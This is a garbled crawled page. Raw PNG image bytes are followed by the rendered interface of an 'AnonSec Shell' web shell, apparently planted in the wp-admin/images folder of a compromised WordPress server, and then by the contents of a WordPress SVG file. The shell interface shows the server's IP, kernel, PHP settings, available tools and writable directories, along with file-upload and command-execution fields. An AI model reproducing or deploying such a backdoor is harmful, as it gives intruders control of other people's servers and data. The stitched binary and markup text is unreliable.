‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-admin/images/contribute-main.svg
<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.436 145c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.629-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 128.532c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 112.658c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 97.956c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 84.953c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 74.126c0 31.616 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 65.85c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 60.444c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 58.084c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 58.877c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 62.774c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 69.65c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 79.242c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 91.21c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 105.128c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 120.485c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 136.733c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 153.268c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 169.516c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 184.873c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 198.79c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 210.759c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 220.359c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 227.227c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 231.124c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 231.917c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 229.565c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 224.151c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 215.883c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 205.048c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 192.045c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 177.343c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 161.469c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.436 145c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.629-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 128.532c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 112.658c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 97.956c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 84.953c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 74.126c0 31.616 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 65.85c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 60.444c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 58.084c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 58.877c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 62.774c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 69.65c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 79.242c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 91.21c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 105.128c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 120.485c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 136.733c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 153.268c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 169.516c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 184.873c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 198.79c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 210.759c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 220.359c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 227.227c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 231.124c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 231.917c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 229.565c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 224.151c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 215.883c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 205.048c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 192.045c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 177.343c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 161.469c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.517 145.797c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246ZM131.954 69.648c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
